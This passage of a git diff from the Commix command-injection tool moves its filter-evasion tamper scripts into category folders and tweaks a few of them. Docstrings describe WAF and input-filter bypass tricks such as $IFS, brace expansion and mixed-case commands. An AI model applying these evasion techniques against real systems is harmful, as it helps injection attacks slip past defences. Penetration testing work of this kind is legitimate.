recursive=True)): + name = os.path.basename(script)[:-len(".py")] + if name == "__init__": + continue + _TAMPER_SCRIPT_PATHS[name] = script + + return _TAMPER_SCRIPT_PATHS + +""" +The dotted module path a tamper script's bare name imports as, wherever its category placed it. +""" +def tamper_module_path(name): + script = tamper_script_paths().get(name) + if not script: + return "src.tamper." + name + rel = os.path.relpath(script, settings.TAMPER_SCRIPTS_PATH)[:-len(".py")] + return "src.tamper." + rel.replace(os.sep, ".") + """ The tamper scripts the user named, rejected here if any of them names nothing. @@ -2552,8 +2586,7 @@ def validate_tamper_scripts(): return [] raw_scripts = re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()) provided_scripts = list(dict.fromkeys(script.strip() for script in raw_scripts if script.strip())) - available_scripts = [os.path.basename(script.split(".py")[0]) - for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py")))] + available_scripts = list(tamper_script_paths().keys()) for script in provided_scripts: if script not in available_scripts: err_msg = "The '" + script + "' tamper script does not exist. " @@ -3309,8 +3342,8 @@ def list_tamper_scripts(): if menu.options.list_tampers: message = "" - - for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): + + for script in sorted(tamper_script_paths().values()): with open(script, "rb") as script_file: content = script_file.read().decode(settings.DEFAULT_CODEC) match = re.search(r"About:(.*)\n", content) @@ -3320,14 +3353,15 @@ def list_tamper_scripts(): comment = comment[0].upper() + comment[1:] if comment else comment script_name = os.path.basename(script) message += ( - Style.BRIGHT + "* " + + Fore.LIGHTYELLOW_EX + script_name + Style.RESET_ALL + " - " + comment + "\n" ) - + settings.print_data_to_stdout(message.rstrip()) """ @@ -3474,7 +3508,7 @@ def tamper_rewrite_user_command(payload, tamper_name): return payload command = settings.USER_APPLIED_CMD for name in rewriters: - command = importlib.import_module("src.tamper." + name).rewrite_command(command) + command = importlib.import_module(tamper_module_path(name)).rewrite_command(command) if command == settings.USER_APPLIED_CMD: return payload source = payload if settings.USER_APPLIED_CMD in payload else settings.RAW_PAYLOAD @@ -3661,7 +3695,7 @@ def tamper_scripts(stored_tamper_scripts): info_msg = "Loading tamper module '" + script + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) try: - module = importlib.import_module("src.tamper." + script) + module = importlib.import_module(tamper_module_path(script)) except (ImportError, ValueError): continue if not hasattr(module, "__tamper__"): @@ -4106,7 +4140,7 @@ def perform_payload_modification(payload): for script in list(settings.MULTI_ENCODED_PAYLOAD): if script == 'xforwardedfor': continue - module = importlib.import_module("src.tamper." + script) + module = importlib.import_module(tamper_module_path(script)) payload = _apply_tamper(script, module, payload) return payload diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 6122b39929..cfbb1511bd 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -732,13 +732,13 @@ def do_check(request): # Appends a fake HTTP header 'X-Forwarded-For' (and similar) if settings.TAMPER_SCRIPTS["xforwardedfor"]: - from src.tamper import xforwardedfor + from src.tamper.misc import xforwardedfor xforwardedfor.tamper(request) # Carries the two halves the payload reads back through '$_SERVER' - drawn with it, so the names # in the payload and the headers on this request are the same pair. if settings.TAMPER_SCRIPTS["phpserverheaders"]: - from src.tamper import phpserverheaders + from src.tamper.eval.php import phpserverheaders phpserverheaders.apply_headers(request) # Check if defined any HTTP Authentication credentials. diff --git a/src/tamper/eval/__init__.py b/src/tamper/eval/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/eval/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/eval/javascript/__init__.py b/src/tamper/eval/javascript/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/eval/javascript/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/jsvmescape.py b/src/tamper/eval/javascript/jsvmescape.py similarity index 100% rename from src/tamper/jsvmescape.py rename to src/tamper/eval/javascript/jsvmescape.py diff --git a/src/tamper/nashornexec.py b/src/tamper/eval/javascript/nashornexec.py similarity index 100% rename from src/tamper/nashornexec.py rename to src/tamper/eval/javascript/nashornexec.py diff --git a/src/tamper/eval/php/__init__.py b/src/tamper/eval/php/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/eval/php/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/phpconcat.py b/src/tamper/eval/php/phpconcat.py similarity index 100% rename from src/tamper/phpconcat.py rename to src/tamper/eval/php/phpconcat.py diff --git a/src/tamper/phphexname.py b/src/tamper/eval/php/phphexname.py similarity index 100% rename from src/tamper/phphexname.py rename to src/tamper/eval/php/phphexname.py diff --git a/src/tamper/phpnoletters.py b/src/tamper/eval/php/phpnoletters.py similarity index 96% rename from src/tamper/phpnoletters.py rename to src/tamper/eval/php/phpnoletters.py index ceafb8a840..08a5b13daa 100644 --- a/src/tamper/phpnoletters.py +++ b/src/tamper/eval/php/phpnoletters.py @@ -74,6 +74,10 @@ def _hide_letters(text): # from - read for what they answer, so hiding one has to answer with the same value it hid. _VALUE_NAMES = ["rtrim", "strlen", "ord", "substr", "intval"] +# Each name's own pattern, compiled once rather than once per payload - none of the five changes +# for the life of the process. +_VALUE_CALL_PATTERNS = {name: re.compile(r"(?<![\w\\])" + re.escape(name) + r"\(") for name in _VALUE_NAMES} + # Run one of the execution names through the letter-free call, its own arguments and closing # bracket left exactly where they were - no comma before them where the call took none of its own, # since this PHP still parses a trailing comma in a call as an error rather than an empty argument. @@ -107,7 +111,7 @@ def _matching_paren(text, open_index): around the end of it as much as the name is hidden at the start. """ def _hide_value_calls(payload, name): - pattern = re.compile(r"(?<![\w\\])" + re.escape(name) + r"\(") + pattern = _VALUE_CALL_PATTERNS[name] pieces, pos = [], 0 while True: match = pattern.search(payload, pos) diff --git a/src/tamper/phpnosymbols.py b/src/tamper/eval/php/phpnosymbols.py similarity index 100% rename from src/tamper/phpnosymbols.py rename to src/tamper/eval/php/phpnosymbols.py diff --git a/src/tamper/phpserverheaders.py b/src/tamper/eval/php/phpserverheaders.py similarity index 100% rename from src/tamper/phpserverheaders.py rename to src/tamper/eval/php/phpserverheaders.py diff --git a/src/tamper/eval/python/__init__.py b/src/tamper/eval/python/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/eval/python/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/pybuiltinsescape.py b/src/tamper/eval/python/pybuiltinsescape.py similarity index 100% rename from src/tamper/pybuiltinsescape.py rename to src/tamper/eval/python/pybuiltinsescape.py diff --git a/src/tamper/pyhexname.py b/src/tamper/eval/python/pyhexname.py similarity index 100% rename from src/tamper/pyhexname.py rename to src/tamper/eval/python/pyhexname.py diff --git a/src/tamper/eval/ruby/__init__.py b/src/tamper/eval/ruby/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/eval/ruby/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/basicobjectescape.py b/src/tamper/eval/ruby/basicobjectescape.py similarity index 100% rename from src/tamper/basicobjectescape.py rename to src/tamper/eval/ruby/basicobjectescape.py diff --git a/src/tamper/misc/__init__.py b/src/tamper/misc/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/misc/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/xforwardedfor.py b/src/tamper/misc/xforwardedfor.py similarity index 100% rename from src/tamper/xforwardedfor.py rename to src/tamper/misc/xforwardedfor.py diff --git a/src/tamper/obfuscation/__init__.py b/src/tamper/obfuscation/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/obfuscation/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/obfuscation/posix/__init__.py b/src/tamper/obfuscation/posix/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/obfuscation/posix/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/cmd2loop.py b/src/tamper/obfuscation/posix/cmd2loop.py similarity index 99% rename from src/tamper/cmd2loop.py rename to src/tamper/obfuscation/posix/cmd2loop.py index 326d4ee8b5..60794d00bb 100644 --- a/src/tamper/cmd2loop.py +++ b/src/tamper/obfuscation/posix/cmd2loop.py @@ -18,7 +18,7 @@ from src.core.controller import checks """ -About: Wraps the payload's command in a single-iteration "for" loop, so it is reached through a shell keyword instead of a separator. +About: Wraps the payload's command in a single-iteration 'for' loop, so it is reached through a shell keyword instead of a separator. Notes: This tamper script works against target(s) with a POSIX shell. Reference: https://github.com/coreruleset/coreruleset/issues/4789 """ diff --git a/src/tamper/cmd2var.py b/src/tamper/obfuscation/posix/cmd2var.py similarity index 100% rename from src/tamper/cmd2var.py rename to src/tamper/obfuscation/posix/cmd2var.py diff --git a/src/tamper/cmd2wildcard.py b/src/tamper/obfuscation/posix/cmd2wildcard.py similarity index 100% rename from src/tamper/cmd2wildcard.py rename to src/tamper/obfuscation/posix/cmd2wildcard.py diff --git a/src/tamper/dashlesstest.py b/src/tamper/obfuscation/posix/dashlesstest.py similarity index 100% rename from src/tamper/dashlesstest.py rename to src/tamper/obfuscation/posix/dashlesstest.py diff --git a/src/tamper/noletters.py b/src/tamper/obfuscation/posix/noletters.py similarity index 100% rename from src/tamper/noletters.py rename to src/tamper/obfuscation/posix/noletters.py diff --git a/src/tamper/printf2echo.py b/src/tamper/obfuscation/posix/printf2echo.py similarity index 100% rename from src/tamper/printf2echo.py rename to src/tamper/obfuscation/posix/printf2echo.py diff --git a/src/tamper/randomcase.py b/src/tamper/obfuscation/posix/randomcase.py similarity index 75% rename from src/tamper/randomcase.py rename to src/tamper/obfuscation/posix/randomcase.py index a5073cec43..5245a3f893 100644 --- a/src/tamper/randomcase.py +++ b/src/tamper/obfuscation/posix/randomcase.py @@ -34,9 +34,24 @@ def dependencies(): if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True +""" +Every character's case chosen independently, so two letters - the shortest a real command ever +is - still come out matching the original's case throughout one time in two: a signature over the +literal, unmixed word is still caught as often as it is dodged. Retried until at least one letter +actually differs in case from the rest, the way the result is supposed to read in the first place - +skipped only where there are fewer than two letters to vary at all, since no retry would ever end. +""" +def _mixed_case(cmd): + if sum(char.isalpha() for char in cmd) < 2: + return ''.join(choice((str.upper, str.lower))(char) for char in cmd) + while True: + candidate = ''.join(choice((str.upper, str.lower))(char) for char in cmd) + if candidate not in (candidate.lower(), candidate.upper()): + return candidate + # Vary the case of the payload's letters, where the shell does not care about it. def tamper(payload): - mixed_case = ''.join(choice((str.upper, str.lower))(char) for char in settings.USER_APPLIED_CMD) + mixed_case = _mixed_case(settings.USER_APPLIED_CMD) # An empty 'USER_APPLIED_CMD' is still "in" any string, so the replace below would otherwise # insert the obfuscated-empty-string construct between every character of the payload - a # verification litmus built after a finding confirms (and so after exploitation phase starts) diff --git a/src/tamper/rev.py b/src/tamper/obfuscation/posix/rev.py similarity index 100% rename from src/tamper/rev.py rename to src/tamper/obfuscation/posix/rev.py diff --git a/src/tamper/slash2env.py b/src/tamper/obfuscation/posix/slash2env.py similarity index 95% rename from src/tamper/slash2env.py rename to src/tamper/obfuscation/posix/slash2env.py index 38bec59cbf..cf5c911a96 100644 --- a/src/tamper/slash2env.py +++ b/src/tamper/obfuscation/posix/slash2env.py @@ -17,7 +17,7 @@ from src.core.controller import checks """ -About: Replaces slashes (/) with environment variable value "${PATH%%u*}". +About: Replaces slashes (/) with environment variable value '${PATH%%u*}'. Notes: This tamper script works against target(s) with a POSIX shell. Reference: https://www.secjuice.com/bypass-strict-input-validation-with-remove-suffix-and-prefix-pattern/ """ diff --git a/src/tamper/obfuscation/windows/__init__.py b/src/tamper/obfuscation/windows/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/obfuscation/windows/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/caret.py b/src/tamper/obfuscation/windows/caret.py similarity index 100% rename from src/tamper/caret.py rename to src/tamper/obfuscation/windows/caret.py diff --git a/src/tamper/quoting/__init__.py b/src/tamper/quoting/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/quoting/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/quoting/generic/__init__.py b/src/tamper/quoting/generic/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/quoting/generic/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/doublequotes.py b/src/tamper/quoting/generic/doublequotes.py similarity index 100% rename from src/tamper/doublequotes.py rename to src/tamper/quoting/generic/doublequotes.py diff --git a/src/tamper/quoting/posix/__init__.py b/src/tamper/quoting/posix/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/quoting/posix/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/ansiquote.py b/src/tamper/quoting/posix/ansiquote.py similarity index 100% rename from src/tamper/ansiquote.py rename to src/tamper/quoting/posix/ansiquote.py diff --git a/src/tamper/ansiquoteoctal.py b/src/tamper/quoting/posix/ansiquoteoctal.py similarity index 100% rename from src/tamper/ansiquoteoctal.py rename to src/tamper/quoting/posix/ansiquoteoctal.py diff --git a/src/tamper/backslashes.py b/src/tamper/quoting/posix/backslashes.py similarity index 100% rename from src/tamper/backslashes.py rename to src/tamper/quoting/posix/backslashes.py diff --git a/src/tamper/backticks.py b/src/tamper/quoting/posix/backticks.py similarity index 96% rename from src/tamper/backticks.py rename to src/tamper/quoting/posix/backticks.py index 2d4d47c0a4..71a44d8fa3 100644 --- a/src/tamper/backticks.py +++ b/src/tamper/quoting/posix/backticks.py @@ -19,7 +19,7 @@ """ -About: Uses backticks (`) instead of "$()" for command substitution in a given payload. +About: Uses backticks (`) instead of '$()' for command substitution in a given payload. Notes: This tamper script works against target(s) with a POSIX shell. """ diff --git a/src/tamper/dollaratsigns.py b/src/tamper/quoting/posix/dollaratsigns.py similarity index 100% rename from src/tamper/dollaratsigns.py rename to src/tamper/quoting/posix/dollaratsigns.py diff --git a/src/tamper/dollarstars.py b/src/tamper/quoting/posix/dollarstars.py similarity index 100% rename from src/tamper/dollarstars.py rename to src/tamper/quoting/posix/dollarstars.py diff --git a/src/tamper/nested.py b/src/tamper/quoting/posix/nested.py similarity index 100% rename from src/tamper/nested.py rename to src/tamper/quoting/posix/nested.py diff --git a/src/tamper/printfoctal.py b/src/tamper/quoting/posix/printfoctal.py similarity index 100% rename from src/tamper/printfoctal.py rename to src/tamper/quoting/posix/printfoctal.py diff --git a/src/tamper/singlequotes.py b/src/tamper/quoting/posix/singlequotes.py similarity index 100% rename from src/tamper/singlequotes.py rename to src/tamper/quoting/posix/singlequotes.py diff --git a/src/tamper/unicodequote.py b/src/tamper/quoting/posix/unicodequote.py similarity index 100% rename from src/tamper/unicodequote.py rename to src/tamper/quoting/posix/unicodequote.py diff --git a/src/tamper/uninitializedvariable.py b/src/tamper/quoting/posix/uninitializedvariable.py similarity index 100% rename from src/tamper/uninitializedvariable.py rename to src/tamper/quoting/posix/uninitializedvariable.py diff --git a/src/tamper/timing/__init__.py b/src/tamper/timing/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/timing/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/timing/generic/__init__.py b/src/tamper/timing/generic/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/timing/generic/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/sleep2timeout.py b/src/tamper/timing/generic/sleep2timeout.py similarity index 87% rename from src/tamper/sleep2timeout.py rename to src/tamper/timing/generic/sleep2timeout.py index 240cc94b76..6d51ae3d8f 100644 --- a/src/tamper/sleep2timeout.py +++ b/src/tamper/timing/generic/sleep2timeout.py @@ -18,9 +18,9 @@ from src.core.controller import checks """ -About: Replaces "sleep" with "timeout" command in a given payload. - * Regarding Unix-like target(s), it replaces the "sleep XX" command with "timeout XX ping localhost". - * Regarding windows target(s), it replaces the "powershell.exe -InputFormat none Start-Sleep -s XX" command with "timeout XX". +About: Replaces 'sleep' with 'timeout' command in a given payload. + * Regarding Unix-like target(s), it replaces the 'sleep XX' command with 'timeout XX ping localhost'. + * Regarding windows target(s), it replaces the 'powershell.exe -InputFormat none Start-Sleep -s XX' command with 'timeout XX'. Notes: This tamper script works against all targets. """ diff --git a/src/tamper/timing/posix/__init__.py b/src/tamper/timing/posix/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/timing/posix/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/sleep2ping.py b/src/tamper/timing/posix/sleep2ping.py similarity index 98% rename from src/tamper/sleep2ping.py rename to src/tamper/timing/posix/sleep2ping.py index 5b465846e0..62739912c2 100644 --- a/src/tamper/sleep2ping.py +++ b/src/tamper/timing/posix/sleep2ping.py @@ -18,7 +18,7 @@ from src.core.controller import checks """ -About: Replaces "sleep" with the wait between "ping" packets in a given payload. +About: Replaces 'sleep' with the wait between 'ping' packets in a given payload. Notes: This tamper script works against target(s) with a POSIX shell. Reference: https://man7.org/linux/man-pages/man8/ping.8.html """ diff --git a/src/tamper/sleep2usleep.py b/src/tamper/timing/posix/sleep2usleep.py similarity index 97% rename from src/tamper/sleep2usleep.py rename to src/tamper/timing/posix/sleep2usleep.py index 58b714095e..e1b7f4aab2 100644 --- a/src/tamper/sleep2usleep.py +++ b/src/tamper/timing/posix/sleep2usleep.py @@ -18,7 +18,7 @@ from src.core.controller import checks """ -About: Replaces "sleep" with "usleep" command in a given payload. +About: Replaces 'sleep' with 'usleep' command in a given payload. Notes: This tamper script works against target(s) with a POSIX shell. Reference: http://man7.org/linux/man-pages/man3/usleep.3.html """ diff --git a/src/tamper/whitespace/__init__.py b/src/tamper/whitespace/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/whitespace/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/whitespace/generic/__init__.py b/src/tamper/whitespace/generic/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/whitespace/generic/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/multiplespaces.py b/src/tamper/whitespace/generic/multiplespaces.py similarity index 100% rename from src/tamper/multiplespaces.py rename to src/tamper/whitespace/generic/multiplespaces.py diff --git a/src/tamper/space2htab.py b/src/tamper/whitespace/generic/space2htab.py similarity index 94% rename from src/tamper/space2htab.py rename to src/tamper/whitespace/generic/space2htab.py index 239d5efe29..f992a88c8d 100644 --- a/src/tamper/space2htab.py +++ b/src/tamper/whitespace/generic/space2htab.py @@ -16,7 +16,7 @@ from src.utils import settings """ -About: Replaces space character (%20) with horizontal tab (%09) in a given payload. +About: Replaces space character (' ') with horizontal tab (%09) in a given payload. Notes: This tamper script works against all targets. """ diff --git a/src/tamper/space2plus.py b/src/tamper/whitespace/generic/space2plus.py similarity index 95% rename from src/tamper/space2plus.py rename to src/tamper/whitespace/generic/space2plus.py index ae19de8241..f05e5e9099 100644 --- a/src/tamper/space2plus.py +++ b/src/tamper/whitespace/generic/space2plus.py @@ -17,7 +17,7 @@ from src.thirdparty.six.moves import urllib as _urllib """ -About: Replaces space character (%20) with plus (+) in a given payload. +About: Replaces space character (' ') with plus (+) in a given payload. Notes: This tamper script works against all targets. """ diff --git a/src/tamper/whitespace/posix/__init__.py b/src/tamper/whitespace/posix/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/whitespace/posix/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/cmd2redir.py b/src/tamper/whitespace/posix/cmd2redir.py similarity index 96% rename from src/tamper/cmd2redir.py rename to src/tamper/whitespace/posix/cmd2redir.py index 9b45469e19..1b6f162ab5 100644 --- a/src/tamper/cmd2redir.py +++ b/src/tamper/whitespace/posix/cmd2redir.py @@ -17,7 +17,7 @@ from src.core.controller import checks """ -About: Rewrites a user-supplied "<command> <path>" as "<command><>path>", for a target that lets no +About: Rewrites a user-supplied '<command> <path>' as '<command><>path>', for a target that lets no whitespace at all through but leaves the redirection operators unfiltered. Notes: This tamper script works against target(s) with a POSIX shell. '<>' opens the path for both reading and writing and attaches it as the command's own stdin, so a command given no diff --git a/src/tamper/space2brace.py b/src/tamper/whitespace/posix/space2brace.py similarity index 98% rename from src/tamper/space2brace.py rename to src/tamper/whitespace/posix/space2brace.py index d8a4fbe10a..18f331a99d 100644 --- a/src/tamper/space2brace.py +++ b/src/tamper/whitespace/posix/space2brace.py @@ -18,7 +18,7 @@ from src.core.controller import checks """ -About: Replaces the space character (%20) with a brace expansion ({a,b}) in a given payload. +About: Replaces the space character (' ') with a brace expansion ({a,b}) in a given payload. Notes: This tamper script works against target(s) whose shell expands '{a,b}' where a command is expected (e.g. 'bash', 'ksh'), which leaves the payload's commands with no whitespace. References: [1] https://www.themiddleblue.com/2018/06/12/bypass-waf-using-brace-expansion/ diff --git a/src/tamper/space2ifs.py b/src/tamper/whitespace/posix/space2ifs.py similarity index 97% rename from src/tamper/space2ifs.py rename to src/tamper/whitespace/posix/space2ifs.py index d808b0a865..19b95dc37a 100644 --- a/src/tamper/space2ifs.py +++ b/src/tamper/whitespace/posix/space2ifs.py @@ -17,7 +17,7 @@ from src.core.controller import checks """ -About: Replaces space character (%20) with the internal field separator ($IFS) in a given payload. +About: Replaces space character (' ') with the internal field separator ($IFS) in a given payload. The internal field separator refers to a variable which defines the character or characters used to separate a pattern into tokens for some operations. Notes: This tamper script works against target(s) with a POSIX shell. diff --git a/src/tamper/space2ifsraw.py b/src/tamper/whitespace/posix/space2ifsraw.py similarity index 96% rename from src/tamper/space2ifsraw.py rename to src/tamper/whitespace/posix/space2ifsraw.py index 9ffdc3c51b..96d53f106b 100644 --- a/src/tamper/space2ifsraw.py +++ b/src/tamper/whitespace/posix/space2ifsraw.py @@ -17,7 +17,7 @@ from src.core.controller import checks """ -About: Replaces space character (%20) with '$IFS$9' (no braces, no quotes) in a given payload. +About: Replaces space character (' ') with '$IFS$9' (no braces, no quotes) in a given payload. Notes: This tamper script works against target(s) with a POSIX shell, for a filter that also blocks curly braces and quotes - where 'space2ifs' ('${IFS}') and 'space2brace' both need a character this kind of filter takes away. '$9' is an empty positional parameter in an diff --git a/src/tamper/whitespace/windows/__init__.py b/src/tamper/whitespace/windows/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/whitespace/windows/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/space2vtab.py 